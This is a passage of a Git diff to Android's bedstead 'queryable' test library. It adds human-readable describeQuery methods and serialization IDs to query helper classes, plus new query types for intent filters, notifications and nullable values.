--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQueryHelper.java
@@ -25,6 +25,8 @@
 public final class ClassQueryHelper<E extends Queryable>
         implements ClassQuery<E>, Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private final E mQuery;
     private final StringQueryHelper<E> mClassName;
     private final StringQueryHelper<E> mSimpleName;
@@ -68,4 +70,12 @@
 
         return true;
     }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        return Queryable.joinQueryStrings(
+                mClassName.describeQuery(fieldName + ".className"),
+                mSimpleName.describeQuery(fieldName + ".simpleName")
+        );
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/DeviceAdminReceiverQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/DeviceAdminReceiverQueryHelper.java
index 7666877..65165d0 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/DeviceAdminReceiverQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/DeviceAdminReceiverQueryHelper.java
@@ -46,4 +46,11 @@
     public boolean matches(DeviceAdminReceiverInfo value) {
         return mBroadcastReceiverQueryHelper.matches(value);
     }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        return Queryable.joinQueryStrings(
+                mBroadcastReceiverQueryHelper.describeQuery(fieldName + ".broadcastReceiver")
+        );
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/EnumQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/EnumQueryHelper.java
index 27e9659..020c07a 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/EnumQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/EnumQueryHelper.java
@@ -19,11 +19,17 @@
 import com.android.queryable.Queryable;
 
 import java.io.Serializable;
+import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashSet;
+import java.util.List;
 import java.util.Set;
+import java.util.stream.Collectors;
 
-public final class EnumQueryHelper <E extends Queryable, F> implements EnumQuery<E, F>, Serializable {
+public final class EnumQueryHelper <E extends Queryable, F> implements EnumQuery<E, F>,
+        Serializable {
+
+    private static final long serialVersionUID = 1;
 
     private final E mQuery;
     private Set<F> mIsEqualTo = null;
@@ -117,4 +123,30 @@
 
         return true;
     }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        List<String> queryStrings = new ArrayList<>();
+        if (mIsEqualTo != null) {
+            if (mIsEqualTo.size() == 1) {
+                queryStrings.add(fieldName + "=" + mIsEqualTo);
+            } else {
+                queryStrings.add(fieldName + " in {"
+                        + mIsEqualTo.stream().map(Object::toString).collect(Collectors.joining(", "))
+                        + "}");
+            }
+        }
+
+        if (mIsNotEqualTo != null) {
+            if (mIsNotEqualTo.size() == 1) {
+                queryStrings.add(fieldName + "!=" + mIsNotEqualTo);
+            } else {
+                queryStrings.add(fieldName + " not in {"
+                        + mIsNotEqualTo.stream().map(Object::toString).collect(Collectors.joining(", "))
+                        + "}");
+            }
+        }
+
+        return Queryable.joinQueryStrings(queryStrings);
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQueryHelper.java
index 3223175..a9b8a1b 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQueryHelper.java
@@ -19,11 +19,15 @@
 import com.android.queryable.Queryable;
 
 import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.List;
 
 /** Implementation of {@link IntegerQuery}. */
 public final class IntegerQueryHelper<E extends Queryable> implements IntegerQuery<E>,
         Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private Integer mEqualToValue = null;
     private Integer mGreaterThanValue = null;
     private Integer mGreaterThanOrEqualToValue = null;
@@ -87,9 +91,13 @@
         return mQuery;
     }
 
-    /** {@code true} if all filters are met by {@code value}. */
     @Override
     public boolean matches(Integer value) {
+        return matches(value.intValue());
+    }
+
+    /** {@code true} if all filters are met by {@code value}. */
+    public boolean matches(int value) {
         if (mEqualToValue != null && mEqualToValue != value) {
             return false;
         }
@@ -112,4 +120,30 @@
 
         return true;
     }
+
+    public static boolean matches(IntegerQuery<?> query, int value) {
+        return query.matches(value);
+    }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        List<String> queryStrings = new ArrayList<>();
+        if (mEqualToValue != null) {
+            queryStrings.add(fieldName + "=" + mEqualToValue);
+        }
+        if (mGreaterThanValue != null) {
+            queryStrings.add(fieldName + ">" + mGreaterThanValue);
+        }
+        if (mGreaterThanOrEqualToValue != null) {
+            queryStrings.add(fieldName + ">=" + mGreaterThanOrEqualToValue);
+        }
+        if (mLessThanValue != null) {
+            queryStrings.add(fieldName + "<" + mLessThanValue);
+        }
+        if (mLessThanOrEqualToValue != null) {
+            queryStrings.add(fieldName + "<=" + mLessThanOrEqualToValue);
+        }
+
+        return Queryable.joinQueryStrings(queryStrings);
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentFilterQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentFilterQuery.java
new file mode 100644
index 0000000..d2d5c1a
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentFilterQuery.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import android.content.IntentFilter;
+
+import com.android.queryable.Queryable;
+
+/**
+ * Query for an {@link IntentFilter}.
+ *
+ * @param <E> Type of query.
+ */
+public interface IntentFilterQuery<E extends Queryable> extends Query<IntentFilter> {
+
+    /** Create a {@link IntentFilterQueryHelper}*/
+    static IntentFilterQuery<IntentFilterQuery<?>> intentFilter() {
+        return new IntentFilterQueryHelper<>();
+    }
+
+    /** Query for the actions on a intent filter.*/
+    SetQuery<E, String, StringQuery<?>> actions();
+
+    /** Query for the categories of an intent filter.*/
+    SetQuery<E, String, StringQuery<?>> categories();
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentFilterQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentFilterQueryHelper.java
new file mode 100644
index 0000000..0a81e40
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentFilterQueryHelper.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import android.content.IntentFilter;
+
+import com.android.queryable.Queryable;
+
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Set;
+
+/**
+ * Implementation of {@link IntentFilterQuery}.
+ *
+ * @param <E> Type of query.
+ */
+public class IntentFilterQueryHelper<E extends Queryable> implements IntentFilterQuery<E> {
+
+    private final E mQuery;
+    private final SetQueryHelper<E, String, StringQuery<?>> mActionsQueryHelper;
+    private final SetQueryHelper<E, String, StringQuery<?>> mCategoriesQueryHelper;
+
+    IntentFilterQueryHelper() {
+        mQuery = (E) this;
+        mActionsQueryHelper = new SetQueryHelper<>(mQuery);
+        mCategoriesQueryHelper = new SetQueryHelper<>(mQuery);
+    }
+
+    public IntentFilterQueryHelper(E query) {
+        mQuery = query;
+        mActionsQueryHelper = new SetQueryHelper<>(query);
+        mCategoriesQueryHelper = new SetQueryHelper<>(query);
+    }
+
+    @Override
+    public SetQuery<E, String, StringQuery<?>> actions() {
+        return mActionsQueryHelper;
+    }
+
+    @Override
+    public SetQuery<E, String, StringQuery<?>> categories() {
+        return mCategoriesQueryHelper;
+    }
+
+    @Override
+    public boolean matches(IntentFilter value) {
+        Set<String> actions = new HashSet<>();
+        Set<String> categories = new HashSet<>();
+
+        if (value.countActions() > 0) {
+            Iterator<String> actionsIterator = value.actionsIterator();
+
+            while (actionsIterator.hasNext()) {
+                actions.add(actionsIterator.next());
+            }
+        }
+        if (value.countCategories() > 0) {
+            Iterator<String> categoriesIterator = value.categoriesIterator();
+
+            while (categoriesIterator.hasNext()) {
+                categories.add(categoriesIterator.next());
+            }
+        }
+
+
+        return mActionsQueryHelper.matches(actions)
+                && mCategoriesQueryHelper.matches(categories);
+    }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        return Queryable.joinQueryStrings(
+                mActionsQueryHelper.describeQuery(fieldName + ".actions"),
+                mCategoriesQueryHelper.describeQuery(fieldName + ".categories")
+        );
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQueryHelper.java
index 6b7f04b..4da9a7d 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQueryHelper.java
@@ -18,8 +18,8 @@
 
 import android.content.Intent;
 
-import com.android.queryable.util.SerializableParcelWrapper;
 import com.android.queryable.Queryable;
+import com.android.queryable.util.SerializableParcelWrapper;
 
 import java.io.Serializable;
 
@@ -27,6 +27,8 @@
 public final class IntentQueryHelper<E extends Queryable> implements IntentQuery<E>,
         Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private final E mQuery;
     private final StringQueryHelper<E> mAction;
     private final BundleQueryHelper<E> mExtras;
@@ -68,13 +70,21 @@
 
     /**
      * {@code true} if all filters are met by the {@link Intent} contained in
-     * {@code serializableBundle}.
+     * {@code serializableIntent}.
      */
-    public boolean matches(SerializableParcelWrapper<Intent> serializableBundle) {
-        if ((serializableBundle == null || serializableBundle.get() == null)) {
+    public boolean matches(SerializableParcelWrapper<Intent> serializableIntent) {
+        if ((serializableIntent == null || serializableIntent.get() == null)) {
             return false;
         }
 
-        return matches(serializableBundle.get());
+        return matches(serializableIntent.get());
+    }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        return Queryable.joinQueryStrings(
+                mAction.describeQuery(fieldName + ".action"),
+                mExtras.describeQuery(fieldName + ".extras")
+        );
     }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQuery.java
index b4b945a..d1e3081 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQuery.java
@@ -18,8 +18,8 @@
 
 import com.android.queryable.Queryable;
 
+import java.util.Collection;
 import java.util.List;
-import java.util.Set;
 
 /** Query for a {@link java.util.List}. */
 public interface ListQuery<E extends Queryable, F, G extends Query<F>> extends Query<List<F>> {
@@ -30,6 +30,49 @@
 
     IntegerQuery<E> size();
 
+    /**
+     * Used to query whether a list contains certain objects.
+     */
     E contains(G... objects);
+
+    /**
+     * Used to query whether a list contains certain objects.
+     *
+     * <p>There are no bounds on the type for this method and therefore to find matches objects are
+     * compared using {@link Object#equals} If you are not checking for equality use
+     * {@link #contains(Query[])}.
+     */
+    E contains(F... objects);
+
+    /**
+     * Used to query whether a list does not contain certain objects.
+     */
     E doesNotContain(G... objects);
-}
\ No newline at end of file
+
+    /**
+     * Used to query whether a list does not contain certain objects.
+     *
+     * <p>There are no bounds on the type for this method and therefore to find matches objects are
+     * compared using {@link Object#equals}. If you are not checking for equality use
+     * {@link #contains(Query[])}.
+     */
+    E doesNotContain(F... objects);
+
+    /**
+     * Used to query whether a list contains all of the elements from a collection.
+     *
+     * <p>There are no bounds on the type for this method and therefore to find matches objects are
+     * compared using {@link Object#equals} If you are not checking for equality use
+     * {@link #contains(Query[])}.
+     */
+    <H extends Collection<F>> E containsAll(H... collection);
+
+    /**
+     * Used to query whether a list does not contain any elements given in a collection.
+     *
+     * <p>There are no bounds on the type for this method and therefore to find matches objects are
+     * compared using {@link Object#equals} If you are not checking for equality use
+     * {@link #contains(Query[])}.
+     */
+    <H extends Collection<F>> E doesNotContainAny(H... collections);
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQueryHelper.java
index 3be3e18..bee2222 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQueryHelper.java
@@ -21,14 +21,22 @@
 import java.io.Serializable;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collection;
+import java.util.Iterator;
 import java.util.List;
+import java.util.stream.Collectors;
 
-public final class ListQueryHelper<E extends Queryable, F, G extends Query<F>> implements ListQuery<E, F, G>, Serializable {
+public final class ListQueryHelper<E extends Queryable, F, G extends Query<F>>
+        implements ListQuery<E, F, G>, Serializable {
+
+    private static final long serialVersionUID = 1;
 
     private E mQuery;
     private final IntegerQueryHelper<E> mSizeQuery;
-    private final List<G> mContains = new ArrayList<>();
-    private final List<G> mDoesNotContain = new ArrayList<>();
+    private final List<G> mContainsByQuery = new ArrayList<>();
+    private final List<G> mDoesNotContainByQuery = new ArrayList<>();
+    private final List<F> mContainsByType = new ArrayList<>();
+    private final List<F> mDoesNotContainByType = new ArrayList<>();
 
     ListQueryHelper() {
         mQuery = (E) this;
@@ -47,17 +55,51 @@
 
     @Override
     public E contains(G... objects) {
-        mContains.addAll(Arrays.asList(objects));
+        mContainsByQuery.addAll(Arrays.asList(objects));
+        return mQuery;
+    }
+
+    @Override
+    public E contains(F... objects) {
+        mContainsByType.addAll(Arrays.asList(objects));
         return mQuery;
     }
 
     @Override
     public E doesNotContain(G... objects) {
-        mDoesNotContain.addAll(Arrays.asList(objects));
+        mDoesNotContainByQuery.addAll(Arrays.asList(objects));
         return mQuery;
     }
 
     @Override
+    public E doesNotContain(F... objects) {
+        mDoesNotContainByType.addAll(Arrays.asList(objects));
+        return mQuery;
+    }
+
+    @Override
+    public <H extends Collection<F>> E containsAll(H... collections) {
+        for (H collection : collections) {
+            Iterator<F> iterator = collection.iterator();
+            while (iterator.hasNext()) {
+                contains(iterator.next());
+            }
+        }
+        return  mQuery;
+    }
+
+    @Override
+    public <H extends Collection<F>> E doesNotContainAny(H... collections) {
+        for (H collection : collections) {
+            Iterator<F> iterator = collection.iterator();
+            while (iterator.hasNext()) {
+                doesNotContain(iterator.next());
+            }
+        }
+        return  mQuery;
+    }
+
+    @Override
     public boolean matches(List<F> value) {
         if (!mSizeQuery.matches(value.size())) {
             return false;
@@ -67,7 +109,7 @@
             return false;
         }
 
-        if (!checkDoesNotContain(value)) {
+        if (!(checkDoesNotContain(value))) {
             return false;
         }
 
@@ -77,7 +119,16 @@
     private boolean checkContainsAtLeast(List<F> value) {
         List<F> v = new ArrayList<>(value);
 
-        for (G containsAtLeast : mContains) {
+        for (F containsAtLeast : mContainsByType) {
+            F match = findMatch(containsAtLeast, v);
+
+            if (match == null) {
+                return false;
+            }
+            v.remove(match);
+        }
+
+        for (G containsAtLeast : mContainsByQuery) {
             F match = findMatch(containsAtLeast, v);
 
             if (match == null) {
@@ -90,7 +141,13 @@
     }
 
     private boolean checkDoesNotContain(List<F> value) {
-        for (G doesNotContain : mDoesNotContain) {
+        for (F doesNotContain : mDoesNotContainByType) {
+            if (findMatch(doesNotContain, value) != null) {
+                return false;
+            }
+        }
+
+        for (G doesNotContain : mDoesNotContainByQuery) {
             if (findMatch(doesNotContain, value) != null) {
                 return false;
             }
@@ -108,4 +165,30 @@
 
         return null;
     }
+
+    private F findMatch(F object, List<F> values) {
+        return values.contains(object) ? object : null;
+    }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        List<String> queryStrings = new ArrayList<>();
+        queryStrings.add(mSizeQuery.describeQuery(fieldName + ".size"));
+        if (!mContainsByQuery.isEmpty() && !mContainsByType.isEmpty()) {
+            queryStrings.add(fieldName + " contains matches of ["
+                    + mContainsByQuery.stream().map(t -> "{" + t.describeQuery("")
+                    + "}").collect(Collectors.joining(", ")) + "]"
+                    + mContainsByType.stream().map(t -> "{" + t.toString()
+                    + "}").collect(Collectors.joining(", ")) + "]");
+        }
+        if (!mDoesNotContainByQuery.isEmpty() && !mDoesNotContainByType.isEmpty()) {
+            queryStrings.add(fieldName + " does not contain anything matching any of ["
+                    + mDoesNotContainByQuery.stream().map(t -> "{" + t.describeQuery("")
+                    + "}").collect(Collectors.joining(", "))
+                    + mDoesNotContainByType.stream().map(t -> "{"
+                    + t.toString() + "}").collect(Collectors.joining(", ")) + "]");
+        }
+
+        return Queryable.joinQueryStrings(queryStrings);
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQuery.java
index 58b97d2..d80cbfe 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQuery.java
@@ -18,10 +18,8 @@
 
 import com.android.queryable.Queryable;
 
-import java.io.Serializable;
-
 /** Query for a {@link Long}. */
-public interface LongQuery<E extends Queryable> extends Serializable {
+public interface LongQuery<E extends Queryable> extends Query<Long> {
     /** Require the {@link Long} is equal to {@code i}. */
     E isEqualTo(long i);
 
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQueryHelper.java
index 7ec6f5a..34cb5ad 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/LongQueryHelper.java
@@ -21,10 +21,14 @@
 import com.android.queryable.Queryable;
 
 import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.List;
 
 /** Implementation of {@link LongQuery}. */
 public final class LongQueryHelper<E extends Queryable> implements LongQuery<E>, Serializable {
 
+    private static final long serialVersionUID = 1;
+
     @Nullable private Long mEqualToValue = null;
     @Nullable private Long mGreaterThanValue = null;
     @Nullable private Long mGreaterThanOrEqualToValue = null;
@@ -84,6 +88,11 @@
         return mQuery;
     }
 
+    @Override
+    public boolean matches(Long value) {
+        return matches(value.longValue());
+    }
+
     /** {@code true} if all filters are met by {@code value}. */
     public boolean matches(long value) {
         if (mEqualToValue != null && mEqualToValue != value) {
@@ -108,4 +117,26 @@
 
         return true;
     }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        List<String> queryStrings = new ArrayList<>();
+        if (mEqualToValue != null) {
+            queryStrings.add(fieldName + "=" + mEqualToValue);
+        }
+        if (mGreaterThanValue != null) {
+            queryStrings.add(fieldName + ">" + mGreaterThanValue);
+        }
+        if (mGreaterThanOrEqualToValue != null) {
+            queryStrings.add(fieldName + ">=" + mGreaterThanOrEqualToValue);
+        }
+        if (mLessThanValue != null) {
+            queryStrings.add(fieldName + "<" + mLessThanValue);
+        }
+        if (mLessThanOrEqualToValue != null) {
+            queryStrings.add(fieldName + "<=" + mLessThanOrEqualToValue);
+        }
+
+        return Queryable.joinQueryStrings(queryStrings);
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/NotificationQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/NotificationQuery.java
new file mode 100644
index 0000000..492dac8
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/NotificationQuery.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import android.app.Notification;
+
+import com.android.queryable.Queryable;
+
+/**
+ * Query for a {@link Notification}.
+ *
+ * @param <E> The root of the query
+ */
+public interface NotificationQuery<E extends Queryable> extends Query<Notification> {
+
+    /** Query for a {@link Notification}. */
+    static NotificationQuery<NotificationQuery<?>> notification() {
+        return new NotificationQueryHelper<>();
+    }
+
+    /** Query the {@link Notification#getChannelId()}. */
+    StringQuery<E> channelId();
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/NotificationQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/NotificationQueryHelper.java
new file mode 100644
index 0000000..25b2aae
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/NotificationQueryHelper.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import android.app.Notification;
+
+import com.android.queryable.Queryable;
+
+import java.io.Serializable;
+
+/**
+ * Implementation of {@link NotificationQuery}.
+ *
+ * @param <E> The root of the query
+ */
+public final class NotificationQueryHelper<E extends Queryable> implements NotificationQuery<E>,
+        Serializable {
+
+    private static final long serialVersionUID = 1;
+
+    private final E mQuery;
+    private final StringQueryHelper<E> mChannelId;
+
+    NotificationQueryHelper() {
+        mQuery = (E) this;
+        mChannelId = new StringQueryHelper<>(mQuery);
+    }
+
+    public NotificationQueryHelper(E query) {
+        mQuery = query;
+        mChannelId = new StringQueryHelper<>(query);
+    }
+
+    @Override
+    public StringQuery<E> channelId() {
+        return mChannelId;
+    }
+
+    /** {@code true} if all filters are met by {@code value}. */
+    @Override
+    public boolean matches(Notification value) {
+        if (!mChannelId.matches(value.getChannelId())) {
+            return false;
+        }
+
+        return true;
+    }
+
+    /** See {@link #matches(Notification)}. */
+    public static boolean matches(NotificationQueryHelper<?> query, Notification value) {
+        return query.matches(value);
+    }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        return Queryable.joinQueryStrings(
+                mChannelId.describeQuery(fieldName + ".channelId")
+        );
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/NullableQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/NullableQuery.java
new file mode 100644
index 0000000..90be710
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/NullableQuery.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+/**
+ * A {@link Query} for a nullable type.
+ *
+ *
+ * @param <E> Type of query
+ * @param <F> Type of object being queried
+ */
+public interface NullableQuery<E, F> extends Query<F> {
+    /** Require the {@link F} is equal to {@code string}. */
+    E isEqualTo(F value);
+
+    /** Require the {@link F} is not equal to {@code string}. */
+    E isNotEqualTo(F value);
+
+    /** Require the {@link F} is null. */
+    default E isNull() {
+        return isEqualTo(null);
+    }
+
+    /** Require the {@link F} is not null. */
+    default E isNotNull() {
+        return isNotEqualTo(null);
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQuery.java
index 53752b5..fb8d802 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQuery.java
@@ -22,10 +22,8 @@
 
 import com.android.queryable.Queryable;
 
-import java.io.Serializable;
-
 /** Query for a single key in a {@link PersistableBundle}. */
-public interface PersistableBundleKeyQuery<E extends Queryable> {
+public interface PersistableBundleKeyQuery<E extends Queryable> extends Queryable {
     /** Require that the key exists. */
     E exists();
     /** Require that the key does not exist. */
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQueryHelper.java
index ddc9370..444d56d 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleKeyQueryHelper.java
@@ -21,11 +21,15 @@
 import com.android.queryable.Queryable;
 
 import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.List;
 
 /** Implementation of {@link PersistableBundleKeyQuery}. */
 public final class PersistableBundleKeyQueryHelper<E extends Queryable>
         implements PersistableBundleKeyQuery<E>, Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private final E mQuery;
     private Boolean mExpectsToExist = null;
     private StringQueryHelper<E> mStringQuery = null;
@@ -93,4 +97,21 @@
 
         return true;
     }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        List<String> queryStrings = new ArrayList<>();
+        if (mExpectsToExist != null) {
+            queryStrings.add(fieldName + " exists");
+        }
+        if (mStringQuery != null) {
+            queryStrings.add(mStringQuery.describeQuery(fieldName + ".stringValue"));
+        }
+        if (mPersistableBundleQuery != null) {
+            queryStrings.add(mPersistableBundleQuery.describeQuery(
+                    fieldName + ".persistableBundleValue"));
+        }
+
+        return Queryable.joinQueryStrings(queryStrings);
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQuery.java
index bd1f4b5..5cba005 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQuery.java
@@ -22,16 +22,15 @@
 
 import com.android.queryable.Queryable;
 
-import java.io.Serializable;
-
 /** Query for a {@link PersistableBundle}. */
 public interface PersistableBundleQuery<E extends Queryable> extends Query<PersistableBundle> {
 
+    /** Queries a {@link PersistableBundle}. */
     static PersistableBundleQuery<PersistableBundleQuery<?>> persistableBundle() {
         return new PersistableBundleQueryHelper<>();
     }
 
-    /** Query a given key on the {@link PersistableBundle}. */
+    /** Queries a given key on the {@link PersistableBundle}. */
     @CheckResult
     PersistableBundleKeyQuery<E> key(String key);
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQueryHelper.java
index 39d983b..530ea83 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/PersistableBundleQueryHelper.java
@@ -18,17 +18,21 @@
 
 import android.os.PersistableBundle;
 
-import com.android.queryable.util.SerializableParcelWrapper;
 import com.android.queryable.Queryable;
+import com.android.queryable.util.SerializableParcelWrapper;
 
 import java.io.Serializable;
+import java.util.ArrayList;
 import java.util.HashMap;
+import java.util.List;
 import java.util.Map;
 
 /** Implementation of {@link PersistableBundleQuery}. */
 public final class PersistableBundleQueryHelper<E extends Queryable>
         implements PersistableBundleQuery<E>, Serializable {
 
+    private static final long serialVersionUID = 1;
+
     private final E mQuery;
     private final Map<String, PersistableBundleKeyQueryHelper<E>> mKeyQueryHelpers =
             new HashMap<>();
@@ -71,4 +75,15 @@
 
         return matches(serializableBundle.get());
     }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        List<String> queryStrings = new ArrayList<>();
+        for (Map.Entry<String, PersistableBundleKeyQueryHelper<E>> query :
